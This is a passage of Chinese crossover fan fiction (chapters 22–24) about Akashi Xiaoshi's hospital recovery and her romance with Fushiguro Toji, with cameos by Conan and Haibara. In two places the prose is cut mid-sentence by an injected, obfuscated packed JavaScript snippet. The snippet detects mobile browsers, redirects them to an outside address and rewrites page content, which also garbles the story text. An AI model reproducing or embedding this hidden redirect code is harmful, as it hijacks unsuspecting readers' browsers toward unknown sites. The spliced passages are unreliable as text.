“再回到尘世中,甚尔,我见过的很多人对自己的认识是浅薄的,不单指爱情方面。当他们做出不恰当选择的时候,正如主角一样无知无觉,还自以为正确,于是最终也就像那样。只是纪德将这故事叙事清晰的写成一本脉络分明的书,就像纺锤将形状不一的羊毛絮纺织成线一样,通过作家的巧思和笔力,让一眼便知书中人物结局的读者们以为自己真是个天才判官,而书中的人皆蒙昧无知。甚尔对自己的人生也是如同对这本书一样轻松掌握主旨吗?” 句句话如同质问都说在伏黑甚尔的心里,他没什么好说的,不想回答。 小莳含笑看他,并不真的指望他给个答案,反正她都清楚:这人过去的人生一团糟,运势也不佳。 她说:“我过去看这本书的时候还比较小,大概没到青春期,只觉得情之所至,高下难同,这本书给我的印象就跟小美人鱼差不多,大家都纷纷be。但刚刚甚尔一念,我头都大了,竟然也温故而知新,得到新体会。” 在伏黑甚尔就要恼羞成怒的时候勾着他的手腕,小莳体贴往下说:“这样爱在心里口难开的性格我实在不敢苟同,让我想起了不长嘴的老父亲。征十郎总和我说父亲对我已经很娇惯,他在内心里其实很爱我,只是不知道应该如何与我交流,诸如此类。可是爱,无论是亲情还是爱情,行动上不作为,心中有爱就足够了吗?今天父亲让征十郎把银行卡还我了,我受人恩惠不把话说太难听,但你总听过皇帝的新装,嗯哼?” “……”伏黑甚尔和津美纪以前关系不错,不凑巧,真的给继女念过安徒生童话。他当然看过那个荒诞的故事。 坏了,没有好好给大小姐念书,大小姐一说话,这下他人生的失败者和糟糕的父亲这两个身份都瞒不住了--他对孩子们其实不太好。 “征十郎愿意做皇帝我没意见,父亲必然不会蓄意害他,加上人多多少少都有些心灵上的残缺,我也不例外。他想和父亲贴贴就贴贴。但这种感人的父爱我还是不要了吧,这样的爱情我也敬谢不敏,婉拒了哈。”小莳顺着他的手腕,找到五指,然后和他十指相扣,“你得对我好一点,看你的表情似乎是比我爸还要差劲的父亲,幸好你是我男朋友,不是我爹,不然我们有的吵。” “……”作为既不给钱,也不给爱,人都不见儿子的父亲;有始无终,卷包袱走人专业户的情人,伏黑甚尔有话说,“赤司征臣对你还不错,他这周看望你三次,上周四五来医院了。” 小莳一下就不开心了,誓要将伏黑甚尔这种息事宁人的错误态度速速破除,所以她开口也学着他生气的时候讲话带刺,往人心里戳:“哦,那他大概对我来说不够好。” 被故意损了一下到还好,但伏黑甚尔属实对这句话耿耿于怀,他当场就抽手走人,晚上也没过来。 当天还有两名不速之客拜访。柯南和灰原哀。他们仗着可可爱爱小孩的外表,没有预约护士台拜访时间,直接来医院。 小莳生病,住的当然是好医院的最高规格病房,一开始是单人ICU,配备两个护工。体征平稳后就转入高级套房观察,房间规格为1病床1大床1沙发1电视1会客厅,没有阳台且封窗,独立卫浴。病房配有统一护士台,想探视必须得先预约,来之后再由护士确认无误后带来病房。 年轻的护士女士来的时候说的是“这两孩子说和您很亲密”“家长不给手机所以没预约”“放学走路过来的”。小莳一下就同意了,江户川柯南真的很会装可怜。 “小莳姐姐,我和哀酱好想你!” 护士女士走了以后,小莳重复了一遍:“小~莳~姐~姐~我~和~哀~酱~很~想~你” 柯南背身去关门的时候听见小莳复读机,迅速关门后才说:“喂,我说的没有这么恶心吧!” 小莳:“你有。” 灰原哀:“你有。” “……” “赤司,听小兰说你伤得还挺严重的,现在能谈谈吗?” 最后谈谈的结果就是把灰原哀谈到小莳家去了。 灰原哀这么解释初次见面时自己的害怕情绪:“你助理穿着黑色衣服,看起来又杀气满满,你看起来也不是什么好人。现在看江户川君仍然活蹦乱跳的,已经不会被吓到了。” “啊这。”小莳心想,她这不看上去还挺活泼开朗的,怎么就不是什么好人了呢。灰原哀这雷达有问题!她选择性忘记了自己故意吓灰原哀的事情。 柯南无语:“……”什么叫活蹦乱跳, 从她口中,小莳还得知上次柯南变回去的解药就是她做的,目前药物还在探索阶段,研究方向比较局限,灰原哀决定时不时还要回博士家实验室。 “这倒没关系,有少年侦探团的团建活动你也都可以去参加,平常你就休学待在家或者去阿笠博士那里好了。隔壁的凶宅好像降价出售了,如果买下来的话就可以打通墙壁,有更大的居住空间。” “米花中心的房价可不便宜。”和小兰一家三口挤在小小侦探事务所里过日子的柯南,听这发言牙酸。 小莳回击:“没办法,我家有钱。你家别墅不就在阿笠博士旁边吗,够胆就带他们进去住。” ……上次被成人状态的宫野志保发现端倪就是她带组织的人来调查的时候发现家里东西少了,他怎么敢再回去。 送走两位小客人后,小莳给伏黑甚尔打电话,准备告诉他家里要添加新成员的好消息。 电话直接被挂断了。 好坏的脾气。 小莳也没办法,秋冬季节正是敏感肌发作的时间段,只好挪到沙发上看了会电视,等护工来擦洗身体和喂饭。 第二天伏黑甚尔没来。小莳也没联系他。 料理社的同学们来了,带来了一堆慰问品。小莳一一收下。 又一天,闹脾气的男朋友终于来了。不出所料的假装什么事情都没发生。小莳猜他是在家里喝中药调理好了。今天是面部拆纱布换药的日子。 本来只要护士动手的事情,受赤司征臣委托,主治医生也亲自来观察情况。“赤司小姐,创口面积比较大,虽然结痂状况很好,接下来还是需要注意饮食清淡……恢复好的话是不会影响外观的。” 小莳算是见识到了主任医师见人说人话见鬼说鬼话的能力。 伤口根本不像他说的那样严重,区区巴掌大的皮外伤。但烫伤很痛,又连着眼皮一起伤到,听甚尔说她的眉毛也被烫掉了一块,不知道以后还能不能长毛。 “嗯好好好,姐姐,方便拿个镜子我看看吗?” 有求必应的护士女士难得犹疑:“这个……” 大概是不太美观:“没事,我就看看没别的意思。放心,我心里承受能力较强,一般不会出事。” 如愿以偿得到了镜子,小莳还是吓了一跳。纱布和敷料都揭开,露出棕色的痂,红色的肉,白色的还没长好的皮肤。本来感觉没有特别疼的,但是一照镜子看见创面,多感官联动了,一下子感受到了来自右眼皮的颤抖。 刚刚夸下海口,一下就打脸,将镜子还给护士姐姐,目送她回去取新的材料,才和自己的男朋友解释挽尊:“我就是以前没怎么看到过伤口,一下子没反应过来。我们那边有治疗系的,受了伤及时救援分分钟就愈合了,我自己也有些治疗手段,也算半个奶妈。这种长期恢复还真是为难我。” 伏黑甚尔看见伤口,又想起那天夜里在郊外仓库倒地不起的身形,他不愿意细想如果没有及时到场,那个连弹夹都不会换的废物会对小莳怎样,但他脑中总浮现枪口空洞黑色的形状。如今见她比起外表受损更在意疼痛,便多仔细看了一两眼伤口,有些发炎,也不好看:“女为悦己者容,你倒是不难为情。” “甚尔,你知道其实你并没有自己一些言语中表现得那么肤浅的吧。为什么要说这种话呢?”小莳右手给自己的创口扇扇风,晾晾,舒服些。 伏黑甚尔哼了一声,转身倒水去了,就是不理她。 小莳却不愿意就此放过他,她开始提起哥哥讲述的花絮片段:“征十郎说他差点被你感动了。据说那天晚上,你开着车一路超速,市区交警追了你八条街,到医院门口后,居然还让征十郎帮你停车!抱着我去预定好的急救室的时候,医生护士根本追不上你。我抢救了3个小时,你就在门口站了3个小时,啧。差的那一点是因为你让他停车去了,他不是很高兴和警官们交流,还听说车是登记在一个女明星名下的,阿尔法罗密欧-还是大红色,甚尔,你确实是有点讨人欢心的技能在身上。被邀请去配合调查实际上是周旋结束以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413090|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,你只睡了5小时,一到可探视时间就来医院。你这不是挺在意我的嘛!一点点医生都说会恢复的小伤对你的喜欢实在没办法造成什么影响,我有什么难好难为情的。” 伏黑甚尔产生了被看透被拿捏得明明白白的羞耻感,胸腔中又产生了一种异样的情感,酸苦,也让他心跳加速。 “而且我对男性凝视调调的一些语句实在是不感冒,为悦己者容这话吓不到我。诶嘿。”说完这话,护士女士便拿着材料回来了,小莳闭嘴配合。先消毒两次,后敷上新的敷料,再裹上纱布和绷带。 “小莳小姐,今晚我们再挂一袋消炎。” “好哦。” “助理先生怎么了?” “没事,我刚心情不好骂了他一顿,估计跑去偷偷抹眼泪了。” “……”啊,居然是这样的吗? “……”还没走远就被编排,但是不想回去,伏黑甚尔只好走得更快。 在他回来后,小莳很高兴的和他宣传了家里要进新人的喜讯,他开心地把纸杯捏成一团,激动地又走了。 “护工小姐,无须在意,他就是太喜欢带孩子,我亲戚家的小孩过来,可把助理先生乐坏了。”时间已经到晚间七点,前台只留下查房护士,现在是护工在病房里待命。 生活有点无趣,每天调戏一下甚尔很开心。自从正式成为情侣以后,小莳看待伏黑甚尔的心态都变好了,当然其中也不乏恩情的因素--见到恩公,原本不顺眼的地方也宽容不少。因此虽然伏黑甚尔心情一不好就会撂挑子走人,小莳也只在心底调侃他“愈发小性子了”,等他第二天若无其事的出现以后也配合他假装什么都没发生,她甚至有些发现其中的趣味,并乐此不疲。 甚尔君有了正式编制以后,家里猫和逗猫棒的钱都省下来了,节衣缩食,nice。像今天这样的情形,一个小时内打电话100%无人接听,所以睡前打电话给他道个晚安拉一下好感。心下有了主意,小莳便也不再想男朋友,看电视去了。 说到猫,前两天又在窗户外看见了一只白猫,这次看清楚了,这小猫咪项圈上有两个粉色棒棒糖一样的天线,还带着绿色墨镜……真是看一眼就忘不掉的外观,pk学园的那个学生,不仅能倒错性别,业务还能拓展的? 想到他讲话不开口,还有伏黑甚尔描述的车自己开……小莳悲伤地推导出这个世界并非没有非唯物主义的事情存在,只偏偏自己遗失了天赋。 怎么想错的都是这个世界。 窗外听完了全场的齐木楠……喵,简称阿齐:真是一场酣畅淋漓的探视,我的挚友情在开始之前就因为对方超人的直觉和过分活跃的内心活动友尽了,再见了朋友,你再也不会见到我了。这里并不是说阿齐被赤司同学的内心活动刺痛了,而是他的一个朋友他的尸体有点不舒服,所以总之心灵感应是被动技能,只好委屈小莳不要再出现了。还有赤司小莳那种能力要是出现在这个世界就太超模,还是不要比较好。 确认前挚友一切安好后,阿齐乘着夕阳走向远方,再也没有出现。 睡前,小莳支开护工小姐-谈恋爱的事暂时不想让征十郎知道,而征十郎每天都要和护工电话沟通,万一护工小姐来一句“赤司小姐很不错呢,她男朋友balabala”这可就麻烦了,距离预计出院时间还有5天,这段时间先委屈自己搞地下恋情。 给伏黑甚尔打电话,嘟了六七下才接通。他也不讲话。 我家有一只黑猫,一生气就搞冷暴力,罐罐也不吃,逗猫棒也不玩,主动走到猫窝想摸他的头,还躲,幸好没一骨碌窜到床底下。一副不给摸不给抱但是不溜的态度,很明显是想被哄哄。 小莳愿意哄他。 “甚尔~”她的声音软下来,像在撒娇,但讲话内容一点不含糊,开口就明快切入主题:“我想你了。” 料想他是个听不得直球的性子,小莳专门给他挑拣傻瓜都能听懂的话说。不仅如此,说完以后还要直白的索求回应:“你不想我吗?你怎么不说你想我了。” “……” 对面没有声音,电话仍然是接通状态,此时此刻伏黑甚尔的好感度肯定是到位了,不过既然是性格上缺陷不少的男朋友,责任意识到位的小莳自然要履行自己说过“我会对你好”的诺言,她不介意多留点言--对方暂时没有说话意愿,可不就是独角戏场合。 “已经几个小时没有见了,想念甚尔君明明很心疼我的伤口但是不想被我发现所以故意说反话说得还很拙劣的伪装,想念甚尔被我一眼看破以后不好意思走掉的又害羞又恼怒的样子,大概因为我是传说中“恋爱中的女子”,所以看到你不管怎么样都很开心呢。明天我想早早地看见你,哦对了明天我想吃牛角包,我会等甚尔过来一起吃早餐的。” 她最后问他:“甚尔会很早来见我吗?我希望你早点过来。不说了,要睡觉了,你要和我说晚安吗?” 小莳等待片刻,对面传来了疑似翻身的窸窣声,就是没人说话。 “那好吧,我说了,晚安晚安!” 主动结束通话,拿起遥控器把病床调平,平躺。 早上,伏黑甚尔并没有很早就来医院。小莳并不介意,也没有失望,她头天晚上也就随便一说,实际上一起床就吃了早饭。但男朋友带着烘焙店的纸袋来到病房时,小莳还是装作有点饿的样子浅吃两个。 “你来的太慢了甚尔,下次你得早点。”在高情商的同时对对象提出了更高的要求,赢两次。 “嗯。” 看,这不就哄到了一次承诺。手到擒来。 23. 第 23 章 出院之前,再拍了一张片子,恢复程度尚可,出院之后只需每周复查一次。护士女士还教了伏黑甚尔面部创口养护常识,叮嘱他一些病人医护细节,他一一记下。 现在,小莳右眼附近伤口已经全部结痂,正是痒的时候,头发也一周多没清洗,出院第一件事就是去美发沙龙洗头。 见到了准备烫个头的园子,陪同的毛利兰……和柯南。 小莳料想自己就半小时洗个头,应该不碍事。 伏黑甚尔还有一些事情要处理,和那位拥有阿尔法罗密欧的女士。作为雇主,小莳支持下属做好工作交接再回来,作为女朋友,小莳言语上谴责,并限他一小时内回理发店,内心没有波澜。 她当然是有点喜欢伏黑甚尔的,但程度还不到占有欲发作,就像路边的猫,今天喂了罐罐,今天撸一把。明天别人喂了猫粮,别人当然也可以摸。说到猫,不知道这段时间黑宝怎么样了,她有一段日子不在家了,希望垃圾桶那边的黑色狗狗还没有忘记掏垃圾的技巧。 表现出不快的样子主要是为了配合男朋友:举手之劳,她不介意伏黑甚尔因为以为她在吃醋而心情变好;其次,如果她反而一脸无所谓,他就得多心了。他一多心,助理的活也干不了。 结论:该逗逗,该哄哄。 半小时后,小莳旁边洗头躺椅上的用户被吊灯砸了,场面十分混乱。庆幸的是,洗头接近尾声,在她的强硬要求下,总监亲自给她吹干了头。给她洗头的人作为目击者心灵遭受打击,正在旁边披着洗头巾坐着--那人运气不好,身上脸上溅到了血。 园子头上软化剂上到一半,总监吹完头又去给铃木家大小姐上药膏。 铃木园子是个很善良的好孩子,和只顾着头发和担心伤口进水的小莳不一样,她说:“别别别,要不我们改天吧,都发生意外了,我在这做头发好像不太尊重。” “那,带您去洗掉?” 毛利兰反而劝她:“现在去那边不好,园子。” “……要不我们还是继续软化吧。”园子这才想到洗头间才发生了意外,现场都没处理完。这种时候去晚上会有鬼来找的,噫! 小莳结束了以后就坐在一旁围观,柯南找线索之余还不忘唠嗑:“你其实根本没有生气,赤司同学,你只是故意想对伏黑先生耍脾气。他居然乐在其中,可怕的男人。” 跟他没什么好客气的,小莳直接开呛:“是是是,谁有你懂谈恋爱呢?你都金婚99了,江户川先生还有何指教,妾身必定洗耳恭听。” “……”江户川柯南脸红,一半是恼,一半是羞。 小莳对他印象倒挺好,绑架那天父亲挂了电话就去打听江户川柯南,问了赤司征十郎,靠谱哥哥立刻就找到毛利侦探事务所,柯南当晚知晓后就和他走。虽然最后她自己一命通关没派上用场,也算柯南一个没有功劳也有苦劳。 她也因此愿意和他费舌解释两句:“柯南君一看就是不懂恋爱的,我表现得生气可不是为了耍大牌,只是想用甚尔理解得了的方式告诉他我很在意他。甚尔从小日子过得苦,难以领会正常表达喜爱的言语,只能用他熟悉的方式对待。而且对一般情侣来说,一方吃醋另一方好言劝慰,然后大家开开心心包饺子也是相处升温的好方法嘛!” 柯南听小莳说的头头是道,忍不住问:“你这样说伏黑先生他知道吗?而且你都说他性格不好,你吃醋了他会哄你…吗?” “他当然不知道,甚尔是那种有问题自己不知道,别人说了还会不高兴的人。中国有句古话说得好:能面刺寡人之过者,九族消消乐。他就是心比天高皇帝性子。” 柯南:“那句话不是这么说的吧!” 小莳笑眯眯地再把话接回来:“这不重要,我也没有真的嫉妒,我只是希望甚尔开心点嘛。我想让他知道我在意他。” 柯南有点反应过来了,紧接着问出那个问题:“你没有真的吃醋,那你在意——” “在意,不然我干嘛和他谈恋爱。只不过相处不够,了解甚少,感情不到位,这不是在努力和甚尔君交流嘛!”小莳语气中透露着一股子“一切尽在掌握之中”的自信,“不是所有人都像你和小兰一样从小生长在一块,彼此性情都熟知的,更多的情侣是在一起之后才了解对方,可悲的是大部分也正因为互相了解了而分开。我既然和甚尔君交往,自然不是开玩笑,我有认真的考虑过这段关系,现在也是非常严肃的在探索和问题男友的交往技巧。” 江户川柯南觉得对方这笃定的态度真令人不安,但是说的又好像很有道理的样子。他知道小莳是个聪明人物,轻易不在她面前班门弄斧,聊天后一直在努力破案。半小时后,具有较强自我管理意识的伏黑甚尔回到美发沙龙,又碰上熟悉的几位警探。 他倒是没什么所谓,只想接女朋友回家。 小莳见他来,给柯南使了个眼色,然后开口和园子小兰告别。小莳的意思是:你看吃醋这不是有点用吗?柯南以为的是:这里就交给你了柯南君。 见他一脸谨慎的点头,小莳心想,完了,这呆瓜不会还在想破案吧。 和伏黑甚尔走出理发店,嫌他走的太快,于是挽着他胳膊拖着他,“走在外面的时候你应该等等我,我膝盖还没好。” 伏黑甚尔没说什么,只是步子确实慢下来了。 “而且作为男朋友,应该和对象主动报备行程。”小莳将头搭在他肩上,“比如现在,你要主动和我说去做什么了。” “你已经问了,我也算不上主动。”他心情很好。 “以前我没和你说这些,不算,但你以后可要注意,你是我的男朋友,得对我上心才行。” “啧,真麻烦。”小莳瞧见他嘴角上扬,便知口是心非。 伏黑甚尔应贝尔摩得的邀请,去别墅收拾行李。这位身兼它职的女演员看来已经结束了任务,准备回到美国。见面时她再次邀请了伏黑甚尔,得到了不意外的拒绝。 小莳打断他:“什么邀请,我怎么不知道还有这种事,细说。” 伏黑甚尔又给她说了曾经被邀请做助理的始末,隐去了对方在开始期待他成为入幕之宾的部分。他是不负责任的情人,但不是脑袋不好使的情人。 “哦,她想和你发生□□关系。而你居然没有发现这一点——你发现了,但你不告诉我!甚尔,狡猾。”小莳一秒得出正确结论,通过伏黑甚尔的表情也发现了他想隐藏的。 “……其他女人就不会问这么多问题。” 一不小心,伏黑甚尔犯了感情问题中的忌讳,提起前任。 小莳反应良好,直接回了:“胡说,无论性别,如果他们意识到问题,又恰巧很在意伴侣,绝对会问的。” 看到了车,伏黑甚尔没着急进去,转过身揽着小莳,闻到她发丝的香气:“你很在意?” 并不那么在意,小莳顺从心意往他怀里靠靠,“我想亲你,可怕蹭到纱布。” 伏黑甚尔轻声说:“不会的。” 她闻言抬头,他们交换了一个吻。 他帮小莳打开车门,等坐进去后再替她关门,才走向驾驶位。 行驶到一半,有人佯装不经意旧事重提:“你刚刚还没回答问题。在意吗?” “比起在意,更像是没想到老实巴交的甚尔君居然会通过隐瞒事实的方式意图蒙混事情原委。我以为只有我比较擅长呢。对于感情问题我倒是还好,我们都是比较受欢迎的类型,有人欣赏很正常。” 她这一说,伏黑甚尔可就注意力集中了:“哦?现在很多人追求你?” “现在不知道,以前挺多的。我在前一个世界那会比较……要素齐全。工作需要和不同人的社交挺多的,认识了很多人,再加上我长得好看,我兄长身份高贵,位高权重。赶着上的人有不少呢。”小莳想起以前自己动手有求必应的好日子,颇有些怀念。 伏黑甚尔会错了意,不高兴起来,“你很想回到那个时候?” “不不不,你理解错了甚尔。我对男人没太多兴趣,只是想念自由自在的环境。”小莳见他误会,耐心与他解释,“先说男人,追求我的男性大部分是冲着我哥来的,这个意图就没有令人心动的信号,其次是期待我能通过生个基因优秀的大胖儿子或者女儿来给家族添砖加瓦,你知道搞family的都很重视传承,我恰好又是个业务骨干,即使没有相关依据,也有迷信的人坚定认为这能遗传。想法有点疯,但是由于他们太弱小,声音不大,我也不能拦着人做梦吧。但是偶尔,有一些很执着又讨厌的家伙,认为‘女人只要没有爱情滋养就是不完整的’‘我理解你的孤独’‘我一定能敲开小莳封闭冰冷的心’,这样自说自话的态度也过分奇怪了。” “果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413091|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自卑是男人第二好的医美。” “也不是没有性格品貌都不错的男性追求者,只不过他们都太普通了,不值得留神。这样说有点不礼貌,因为我现在比那些男性中最差的都不如,这话从普通人赤司小莳嘴里说出来未免狂妄。那我换个说法吧,我看他们的时候就像练成了白骨观那样呢!”小莳想了个佛家的说法,让伏黑甚尔迅速理解。 生动形象。白骨观是通过想象□□终有一日会腐烂见到白骨,或者想象世界上每一个人都是一具骨架,熄灭对色的贪欲,以破除我执的修炼方法。伏黑甚尔听了这话,一点也不怀疑话中真伪,她是真没兴趣。 小莳犹豫了一下,想了想,还是决定说点往事:“不过也有那么一个,我挺满意的……既然已经到了另一个世界,我又是甚尔的女朋友,这件事和你分享一下也没什么不可以。只是你不要觉得我精神不正常,或者很缺爱,听这种说法耳朵要长茧了!” “……你说。” 小莳理智指出:“你可以继续开车……不一定要停在路边。” “女朋友主动分享感情往事,我当然要认真仔细听。”伏黑甚尔直接用之前小莳的话堵嘴。 男德,也不是要这么讲…… “既然都到这一步了,那我就开诚布公的和甚尔君聊一聊以前的事情。在开始之前,我姑且问一下,甚尔以前在的地方应该是偏向于神道教信仰的吧,其中人的特异能力有没有召唤式神类的?” “大概有些,但个体也有差异。我以前不太在意。”毕竟是天与咒缚。 小莳自然地接过话:“我以前就是幻术师,大部分幻术师会在战斗中做点辅助工作,或者额外锻炼一些体术,虚实交映,赢得胜利。但因为我实在是个天才,这些事我都不做,仅凭我的幻术就能赢得所有的胜利。在小的时候,看了一些杂书,美国作家写的科幻神话,其中有一名让我比较感兴趣的神祇,名讳奈亚拉托提普,我觉得关于祂的描写有些迷人,就以它为原型,创造了一个式神。”其实严格意义上并非式神,但这样解释大差不差。 又向伏黑甚尔解释了雾的构筑,还有幻术小技巧【信以为真即为真】【真实即虚假】的原理。 “反正这对只能制造出真实感来迷惑敌人,或者在武器上动些小手脚的普通幻术师而言,算是河伯看见大海了。” “虽然没有喜欢的具体男性,但是我知道自己对黑发是很有偏好的,正好那段时间我还在看哈利波特,登登,黑发绿眼的帅哥就这样出现了。而且我不喜欢自理生活,也不希望女仆男仆到我的空间里来,所以奈亚还会照顾我的起居,因为是雾的造物,本质上是我人格的投射,所以他做的一切都是我需要的,我对他不能更满意了。” “有一段时间西西里那边在传我有纳西索斯情节,这简直是危言耸听!不过如果现实真的出现一名各方面都投己所好,又完全是仅为自己而存在的完美之人,又有谁不会心动呢?我理解谣言的起源。情感上不接受。” 现在想想还怪舍不得的。 伏黑甚尔没有读过克苏鲁神话,不认识哈利波特,也不清楚纳西索斯是谁,但他一听照顾生活起居,黑发帅哥,就发现自己被当成代餐了。 瞧她说起奈亚的表情和语调都和刚才截然不同,整个人松弛下来沉浸在回忆中,完全没把自己当回事,伏黑甚尔神色冷峻,“看来你十分想念他。” 小莳点头:“确实。” “……” 意识到沉默,小莳迷惑地看向伏黑甚尔,发现他垮起个脸。 “甚尔,你不会在和我的幻想朋友过不去吧,不至于。你是真实存在的人,是我的男朋友,我的人生到现在只和你接过吻,只和你谈过恋爱,这些不都比这个世界无法存在的雾系造物真实多了?” 小莳没明白这里男朋友不愉快的脑回路,他本人前任“多的数不过来”(消息来自赤司征十郎),还有数次婚史,现在的姓氏都是前妻的,还有个小孩,怎么想都是自己这背景更单纯。 暂时先把理由归结于“一部分男人确实喜欢双标” 伏黑甚尔一怒之下……发现自己没有什么理由发怒,又听见小莳的话,一下子哑了火。 他说,“我没有。” 信你个鬼。 小莳也不和他一般见识,让他开车回家。 一路无话。 24. 第 24 章 接下来几天,小莳发现男朋友格外勤快。比如说,伏黑甚尔在以前一些时候不太乐意每天倒垃圾、每天洗衣服,毕竟两个人居住,生活垃圾和换洗衣物量都不大,确实也没有每天一定要处理的必要。有一天小莳去冰箱里拿饮料的时候还撞见伏黑甚尔在勤勤恳恳擦冰箱,还在冰箱里放上一碗茶叶,是商业街里打折的陈茶--据说可以有效吸附冰箱内异味。 说到冰箱,赤司征十郎来公寓的时候在里面发现了小莳光明正大摆在里面的20岁以下不可饮用存货,全被扔了,现在的饮料真就是果汁奶茶之类的字面意思小甜水。伏黑甚尔也有喜欢的饮料,乌龙茶,绿茶等,小莳评价这是公园里遛弯的老人家会欣赏的品味,被说着“那你谈恋爱的品味也太差了”的当事人摁在厨房玻璃门上亲了一顿。 比起恼羞成怒,更像是蓄意找理由亲吻。吻闭她总结。 那天,征十郎前来谈隔壁凶宅买卖的事情,也是小莳强烈主张的,再复盘快乐水惨遭打包遗弃,罪魁祸首竟然是自己。被兄长抓包以后如果强行解释说那些起泡酒,蜜桃伏特加,还有各种各样的果味微醺饮料是助理买的,反而会造成更糟糕的后果--征十郎超不喜欢被欺骗。于是小莳忍痛看着东西被摆放好丢出门外,还被迫承诺了大学毕业前不会再买这些饮料。 大学毕业至少都21了,她哥管得比法律严。 “法律规定过两年岁就可以结婚了,父亲也有意向给小莳安排不错的男性认识,如果你没意见我去和父亲说。” 小莳头摇得像拨浪鼓。 兄长走了以后,她才和男朋友谈起相亲的事情:“这里搞商科没出路,我目前见到的比较可爱的男孩子都是运动系出身,比如排球篮球网球。反而那些豪门继承人动不动被卷入刑事案件,既不可爱,也不安全。但如果是以是遗产第一顺位继承人的身份来说,倒也没有很糟糕。” 伏黑甚尔就问她:“那你想和谁结婚?” 和男朋友聊这些就要命了,小莳回答的俏皮:“如果领证当天就能无痛继承遗产,那我愿意成为任何名下资产超过50亿的人的温柔和顺俏寡妇。” 画饼:“到时候我拿亡夫的钱养你。” 没来得及说更多,嘴巴又被堵上了。亲完以后这人还嗓音沙哑的来了句“多谢夫人款待。” 笑死。 勤快了有七八天,伏黑甚尔图穷匕见,在晚餐结束后把小莳拉到怀里问她:“照顾起居方面,我和那个奈亚什么什么,谁更让你满意。” 她在他怀里笑得上气不接下气。此时额头上的伤口已经完全结了硬痂,促进修复的敷料和纱布绷带都卸了,乍一看挺影响感官的,但两人都不太在意。 这一笑他又很不满的凑上来,被制止:“吃完饭还没刷牙!” “我刷了。” 好啊,他这是有备而来,小莳在男朋友腰上锤了一下,虽然没有真的很想反抗,但是要把自己的不满表现出来。 一段时间后,她气喘吁吁吐槽:“我还没刷牙。” 伏黑甚尔用拇指抹去女朋友唇边的水渍:“没事,我不在意这些。” 好,那你是邋遢鬼。 “现在该回答问题了,小莳。”他袭击了她的左耳,在耳垂周边落下细细密密的吻,吐息卷起发梢,在她的脖颈和耳廓留下酥麻的触感,实不相瞒身体有点发软。 小莳抬起右手就捏了下伏黑甚尔暴露在外的耳垂,感受到紧贴着的身躯颤了下,然后她的耳垂被含住吮吸,还有他牙齿的摩挲,兼有情、色的惩罚意味。他的呼吸完完全全被收纳到耳中,温热潮湿的空气拂过敏感的耳道,化为听觉信息传入大脑。 “甚尔。”她将手移到他的脑后,抚摸着他的头发。 “嗯?”这一声带来短促的呼气,弄得小莳头晕,连脖子都痒起来。 “你快离我耳朵远点,”转而去推他的头,很顺利的让对方挪开了,“别压到我左边,骨折呢!” 伏黑甚尔根本没碰到他左肩,他一直揽着小莳的腰,有意识的控制和伤口的距离。但本人心情较好,没在意这番胡言乱语的诬陷。 “答案?” “都说了是你了!我可是实用主义者,召唤不出来的造物,即使是异世界厉害的神明也没有用!当然是在身边朝朝暮暮的男友更让人依赖。” 她想了想,补充了一句,“而且你长得也更符合我审美。自己捏脸美则美矣,但是缺少意料之外的那种惊喜感,遇到在娘胎里随便长长的普通人自然秒杀,但是遇到甚尔君这样连嘴角的伤疤都很性感的帅哥,确实就显现出差距。” 伏黑甚尔觉得这话听起来不很令人愉快,“还真打起分了。” 小莳也莫名其妙,没能理解此时男人在意的点,她问:“不是甚尔君问的吗?” “……” 怎么有这样亲热到一半走开的,小莳满头问号。一般来说遇到这种问题可以选择放置,等时间到了甚尔君自己就会恢复出厂设置。但作为交往中的恋人,她总要承担起二分之一的责任,队友不靠谱就另一方多担点…一开始就是出于这种担忧才拒绝的! 谈都谈了,还能分手咋滴。 拿起手机单手打字:现任问前任,跳出来各种各样的问题,看来各位恋爱中的网友都有着相似的困惑。 以前的小莳不屑一顾,现在的小莳逐字逐句学习。点进现任问起前任怎么办? 重点,要强调前任已经是过去式了。打钩,这个她和甚尔都知道了,开头不错。 第二,要告诉现任“你才是我遇到最好的人”,这个没有,码住。问题甚尔也不是我遇到最好的人,不能乱骗人,改成“你是我遇到最特殊的人”吧,救命恩人,确实特殊,要去哄哄。 第三,提起前任态度要平淡,不能慌张,不能对问题讳莫如深。大忌:表现出很怀念的样子。坏了,她可怀念奈亚了,虽然他不是前任,但也是费了很大功夫造出来的。甚尔不会是吃醋了? 第四,禁忌的禁忌:像吃菜一样点评现任和前任的优缺点。爱侣都希望自己是独一无二的,把前任和现任摆在一起评价,态度上过于高高在上,而且有怀念前任的嫌疑,愚蠢的人才会表现出来。 原来这才是问题所在! 小莳瞠目于手机屏幕中,逐渐理解了一切,结论:甚尔君是一个害怕比较,更害怕比不过的敏感多疑的男性!她过去从不在意这些细微之处,所以忽略了恋人心理脆弱。如果有人玻璃心,那是他们自己的问题,建议反省,或者偷偷哭去,她不会偷听的。 没想到甚尔也是动不动就会被戳到的男人,自尊心,脆脆的也很可爱。 小莳收起手机,下沙发,找到在厨房洗菜的伏黑甚尔。快步走过去,从后面右手单手拦住他的腰。 不错,腹肌很好摸,顺手多摸一下。 嘴也没闲着:“甚尔,你是我遇到的最特殊的人。没有人可以与你比拟。” 他不说话,水龙头的水流哗啦啦,一点没有关上的意思。 